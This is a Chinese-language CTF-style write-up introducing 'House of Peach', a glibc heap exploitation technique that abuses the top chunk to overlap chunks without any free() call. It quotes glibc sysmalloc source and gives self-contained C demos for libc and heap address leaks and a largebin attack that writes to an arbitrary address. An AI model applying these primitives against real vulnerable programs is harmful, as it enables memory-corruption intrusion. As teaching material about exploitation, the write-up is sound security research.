House of Peach

网上暂无找到类似利用的相关信息(可能是我没找到?!!!),所以暂时称该堆利用手法为House of Peach

延续House of Orange对Top chunk的利用思路,进行新的利用手法,可以在任意glibc版本下,通过无free函数进行堆利用

源码分析

前面如何到sysmalloc,这里不做仔细分析,不了解可以去看看malloc源码

// glibc 2.39
static void *sysmalloc (INTERNAL_SIZE_T nb, mstate av) {
  ...

  if (av == NULL || ...) {
    // mmap分配路径
    ...
  }

  if (av == NULL) return 0;

  old_top = av->top;
  old_size = chunksize (old_top);
  old_end = (char *) (chunk_at_offset (old_top, old_size));

  ...

  // 非主分配区处理
  if (av != &main_arena) {
    ...
  }
  else { /* av == main_arena */ // 主分配区处理开始
    size = nb + mp_.top_pad + MINSIZE;
    
    if (contiguous (av)) size -= old_size;
    
    // 对齐处理
    ...
    size = ALIGN_UP (size, GLRO(dl_pagesize));

    if (size > 0) {
      brk = (char *) (MORECORE (size));
      ...
    }

    if (brk == (char *) (MORECORE_FAILURE)) {
      // mmap回退机制
      ...
    }

    if (brk != (char *) (MORECORE_FAILURE)) {
      ...
      if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) {
        set_head (old_top, (size + old_size) | PREV_INUSE);
      }
      else if (contiguous (av) && old_size && brk < old_end) {
        malloc_printerr ("break adjusted to free malloc space");
      }
      else {
        // 处理各种边界情况
        ...
        
        if (old_size != 0) {
          // 关键操作:创建fencepost并释放旧top chunk
          old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
          set_head (old_top, old_size | PREV_INUSE);
          
          set_head (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ | PREV_INUSE);
          set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), CHUNK_HDR_SZ | PREV_INUSE);

          // 释放旧top chunk
          if (old_size >= MINSIZE) {
            _int_free (av, old_top, 1);  // free掉之前的old_top_chunk
          }
        }
      }
    }
  } // 主分配区处理结束

  // 从新top chunk分配内存
  p = av->top;
  size = chunksize (p);
  
  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {
    remainder_size = size - nb;
    remainder = chunk_at_offset (p, nb);
    av->top = remainder;
    set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);
    return chunk2mem (p);
  }

  __set_errno (ENOMEM);
  return 0;
}

可以发现如果是主线程的堆,如果不是过大(走mmap分配),那么就会进行MORECORE (size)来分配,我们可以在morecore.c看到源码

static bool __always_fail_morecore = false;

/* Allocate INCREMENT more bytes of data space,
   and return the start of data space, or NULL on errors.
   If INCREMENT is negative, shrink data space.  */
void *
__glibc_morecore (ptrdiff_t increment)
{
  if (__always_fail_morecore)
    return NULL;

  void *result = (void *) __sbrk (increment);
  if (result == (void *) -1)
    return NULL;

  return result;
}
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_34)
compat_symbol (libc, __glibc_morecore, __default_morecore, GLIBC_2_0);
#endif

可以发现是通过sbrk划分的,如果之前了解过sbrk函数,就可以知道它是在原有heap上往下分配新的地址,而这个地址是连续的,下面通过一个演示即可知道

#include <stdio.h>
#include <unistd.h>

int main() {
    int *p1 = sbrk(4); // 模拟malloc首次申请chunk,从sbrk划分一个新空间
    printf("p1=%p\n", p1);

    int *p2 = sbrk(4); // 模拟主线程堆申请满后,需要重新申请一个新的top chunk的sbrk操作
    int *p3 = sbrk(4);
    int *p4 = sbrk(4);

    printf("p2=%p\n", p2);
    printf("p3=%p\n", p3);
    printf("p4=%p\n", p4);
}

从这里我们可以知道如果主线程的堆如果已经被用满的情况下,后续的申请堆的大小,并不超过需要通过mmap申请的,就会调用sbrk申请空间,而这个原本的空间是与原来的堆地址是连续的

并且旧的top chunk会被释放掉

利用思路

在House-of-orange里,我们需要可以堆溢出到fd和bk的位置上,但是在House-of-peach里,仅需要可以修改到size位的堆溢出即可,但是与之增加条件是,我们需要申请空间变的大了

按照之前House-of-orange的思路中,我们需要修改top chunk的大小,通过sysmalloc函数将它free掉,这里我们思路不变,但是高版本下增加了这一条

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

这个也是比较好解决的(直接借鉴别人研究过的就行,嘻嘻嘻),只需要与原本size的0xfff位保持一致即可,就不会触发这条,下面用案例来说明

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>

// ANSI颜色代码定义
#define COLOR_BLUE   "\033[1;34m"
#define COLOR_GREEN  "\033[1;32m"
#define COLOR_RED    "\033[1;31m"
#define COLOR_YELLOW "\033[1;33m"
#define COLOR_RESET  "\033[0m"

int main()
{
    size_t *chunk_1, *chunk_2, *chunk_3, *tmp_chunk;
    long int tmp_size, offset;
    
    printf(COLOR_BLUE "=== Heap Overflow Attack Demo ===\n" COLOR_RESET);
    
    // Step 1: Create initial heap structure
    printf(COLOR_BLUE "[1] Creating initial heap structure...\n" COLOR_RESET);
    chunk_1 = malloc(0x28);
    printf(COLOR_GREEN "[+] chunk_1 address = %p\n" COLOR_RESET, chunk_1);
    // Step 2: Modify top chunk size
    printf(COLOR_BLUE "[2] Modifying the size of the top chunk to make it freeable...\n" COLOR_RESET);
    tmp_size = chunk_1[5];
    chunk_1[5] = tmp_size & 0xfff;
    
    // Step 3: Allocate large chunks
    printf(COLOR_BLUE "[3] Allocating a 0x1000 chunk to free the top chunk...\n" COLOR_RESET);
    chunk_2 = malloc(0x1000);
    printf(COLOR_GREEN "[+] chunk_2 address = %p\n" COLOR_RESET, chunk_2);
    chunk_3 = malloc(0x1000);
    printf(COLOR_GREEN "[+] chunk_3 address = %p\n" COLOR_RESET, chunk_3);

    return 0;
}

运行之后可以发现,top chunk被释放后,new top chunk申请的chunk位置也皆在chunk_1的下方

已知三点:

  • sbrk分配heap地址是连续的
  • old top_chunk会被释放,可以加入unsorted bin
  • 可以修改old top_chunk的size位

那么一个大胆的想法就诞生而出了 伪造unsorted chunk(old top chunk被缩小的空间可不能被浪费了,要它狠狠加入unsorted chunk,为我所用,搅它正常堆布局个天翻地覆!!!!!)

布局如下

演示代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>

// ANSI颜色代码定义
#define COLOR_BLUE   "\033[1;34m"
#define COLOR_GREEN  "\033[1;32m"
#define COLOR_RED    "\033[1;31m"
#define COLOR_YELLOW "\033[1;33m"
#define COLOR_RESET  "\033[0m"

int main()
{
    size_t *chunk_1, *chunk_2, *chunk_3, *tmp_chunk;
    long int tmp_size, offset;
    
    printf(COLOR_BLUE "=== Heap Overflow Attack Demo ===\n" COLOR_RESET);
    
    // Step 1: Create initial heap structure
    printf(COLOR_BLUE "[1] Creating initial heap structure...\n" COLOR_RESET);
    chunk_1 = malloc(0x28);
    printf(COLOR_GREEN "[+] chunk_1 address = %p\n" COLOR_RESET, chunk_1);
    // Step 2: Modify top chunk size
    printf(COLOR_BLUE "[2] Modifying the size of the top chunk to make it freeable...\n" COLOR_RESET);
    tmp_size = chunk_1[5];
    chunk_1[5] = tmp_size & 0xfff;
    
    // Step 3: Allocate large chunks
    printf(COLOR_BLUE "[3] Allocating a 0x1000 chunk to free the top chunk...\n" COLOR_RESET);
    chunk_2 = malloc(0x1000);
    printf(COLOR_GREEN "[+] chunk_2 address = %p\n" COLOR_RESET, chunk_2);
    chunk_3 = malloc(0x1000);
    printf(COLOR_GREEN "[+] chunk_3 address = %p\n" COLOR_RESET, chunk_3);

    chunk_1 = malloc(0x28);
    
    // Step 5: Set up fake size for unsorted bin attack
    printf(COLOR_BLUE "[5] Setting up fake size in the unsorted bin (old top chunk)...\n" COLOR_RESET);
    offset = ((chunk_3 - chunk_1) * 8) + 0x400 - 0x30;
    
    chunk_3[0x7f] = 0x1010 - 0x400; // fake_size
    chunk_3[0x7e] = offset;         // fake_prev_size
    chunk_1[5] = offset + 1;

    return 0;
}

未修改前布局如下:

先通过malloc(0x28),将old top chunk 重新加入unsorted bin里(这里是因为我们两次申请malloc(0x1000)导致加入largebins里)

然后就行对应伪造chunk和修改old_Top_chunk的size

可以发现我们成功伪造了一个超级大的unsorted chunk,并且实现了堆叠,方便我们后面利用,House-of-Peach的核心利用手法已经讲解完了

通过House-of-Peach进行largebins attack

这里有个演示脚本,实现无free函数实现heap和libc地址泄露并且进行largebins attack攻击,

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>

// ANSI颜色代码定义
#define COLOR_BLUE   "\033[1;34m"
#define COLOR_GREEN  "\033[1;32m"
#define COLOR_RED    "\033[1;31m"
#define COLOR_YELLOW "\033[1;33m"
#define COLOR_RESET  "\033[0m"

int main()
{
    size_t *chunk_1, *chunk_2, *chunk_3, *tmp_chunk;
    long int tmp_size, offset;
    
    printf(COLOR_BLUE "=== Heap Overflow Attack Demo ===\n" COLOR_RESET);
    
    // Step 1: Create initial heap structure
    printf(COLOR_BLUE "[1] Creating initial heap structure...\n" COLOR_RESET);
    chunk_1 = malloc(0x28);
    
    // Step 2: Modify top chunk size
    printf(COLOR_BLUE "[2] Modifying the size of the top chunk to make it freeable...\n" COLOR_RESET);
    tmp_size = chunk_1[5];
    chunk_1[5] = tmp_size & 0xfff;
    
    // Step 3: Allocate large chunks
    printf(COLOR_BLUE "[3] Allocating a 0x1000 chunk to free the top chunk...\n" COLOR_RESET);
    chunk_2 = malloc(0x1000);
    printf(COLOR_GREEN "[+] chunk_2 address = %p, chunk_2 data = 0x%lx\n" COLOR_RESET, chunk_2, chunk_2[0]);
    chunk_3 = malloc(0x1000);
    printf(COLOR_GREEN "[+] chunk_3 address = %p, chunk_3 data = 0x%lx\n" COLOR_RESET, chunk_3, chunk_3[0]);
    // Step 4: Old top chunk goes into unsorted bin
    printf(COLOR_BLUE "[4] Moving old top chunk into the unsorted bin...\n" COLOR_RESET);
    chunk_1 = malloc(0x28);
    
    // Step 5: Set up fake size for unsorted bin attack
    printf(COLOR_BLUE "[5] Setting up fake size in the unsorted bin (old top chunk)...\n" COLOR_RESET);
    offset = ((chunk_3 - chunk_1) * 8) + 0x400 - 0x30;
    
    chunk_3[0x7f] = 0x1010 - 0x400; // fake_size
    chunk_3[0x7e] = offset;         // fake_prev_size
    chunk_1[5] = offset + 1;
    
    // Step 6: Trigger heap overlapping for chunk_2
    printf(COLOR_BLUE "[6] Allocating large chunk to trigger heap overlapping (chunk_2)...\n" COLOR_RESET);
    tmp_chunk = malloc(((chunk_2 - chunk_1) * 8) - 0x10 - 0x30);
    
    printf(COLOR_GREEN "[+] chunk_2 is now in unsorted bin (libc leak)\n" COLOR_RESET);
    printf(COLOR_GREEN "[+] chunk_2 address = %p, chunk_2 data = 0x%lx\n" COLOR_RESET, chunk_2, chunk_2[0]);
    
    // Step 7: Trigger heap overlapping for chunk_3
    printf(COLOR_BLUE "[7] Allocating large chunk to trigger heap overlapping (chunk_3)...\n" COLOR_RESET);
    tmp_chunk = malloc(0x1000 - 0x10);
    
    tmp_chunk = malloc(0x1000 - 0x10);
    printf(COLOR_GREEN "[+] chunk_3 is now in large bin (heap leak)\n" COLOR_RESET);
    printf(COLOR_GREEN "[+] chunk_3 address = %p, chunk_3 data = 0x%lx\n" COLOR_RESET, chunk_3, chunk_3[0]);
    
    // Step 8: Modify new top chunk size
    tmp_chunk = malloc(0x1000);
    printf(COLOR_BLUE "[8] Modifying the size of the new top chunk to make it freeable...\n" COLOR_RESET);
    tmp_size = tmp_chunk[0x201] & 0xfff;
    tmp_chunk[0x201] = tmp_size;
    
    tmp_size = tmp_size - 0x400 - 0x10 - 0x20;
    tmp_chunk = malloc(0x1000);
    
    // Step 9: Attempt to mmap at fixed address
    void *addr = (void *)0x4440000;
    size_t length = 0x1000;
    
    printf(COLOR_BLUE "[9] Attempting to mmap memory at address 0x4440000...\n" COLOR_RESET);
    size_t *result = mmap(addr, length,
                          PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
                          -1, 0);
    
    if (result == MAP_FAILED) {
        printf(COLOR_RED "[-] mmap failed at 0x4440000: %s\n" COLOR_RESET, strerror(errno));
    } else {
        printf(COLOR_GREEN "[+] mmap succeeded at address: %p, data = 0x%lx\n" COLOR_RESET, result, result[0]);
    }
    
    // Step 10: Final attack stage
    printf(COLOR_BLUE "[10] Setting up large bin attack...\n" COLOR_RESET);
    tmp_chunk = malloc(tmp_size);
    
    chunk_3[1] = 0x4440000 - 0x20;
    tmp_chunk = malloc(0x1000);
    
    printf(COLOR_GREEN "[+] mmap region: %p, data = 0x%lx\n" COLOR_RESET, result, result[0]);
    
    printf(COLOR_BLUE "=== Attack Complete ===\n" COLOR_RESET);
    return 0;
}

效果如下,成功进行largebins attack攻击,在0x4440000地址写入一个堆地址

讲解一下具体原理,我们伪造的size里直接包括进来了chunk_2和chunk_3(部分),我们首先将unsorted chunk申请到chunk_2的位置,来泄露libc地址,在通过申请chunk,将unsorted chunk的fd_nextsize位置与chunk_3的data进行重合,在申请大chunk,使得加入largebins泄露heap地址

然后我们再次进行修改New Top chunk的size,使得New Top chunk被free掉,加入unsorted bins,这样就已经满足我们可以进行largebins attack的所有要求,后续我们仅虚将New Top chunk的unsorted chunk申请到对应大小,通过chunk_3来修改fd_nextsize和bk_nextsize

总结

没有free函数,还想堆利用,想Peach,House-of-Peach:“谁说没有free函数的,这free函数太多了”

思路是对鹏城杯2025的myfruitshop解题而得,对于House-of-Peach应该还有其他的开发,后续大家可以继续研究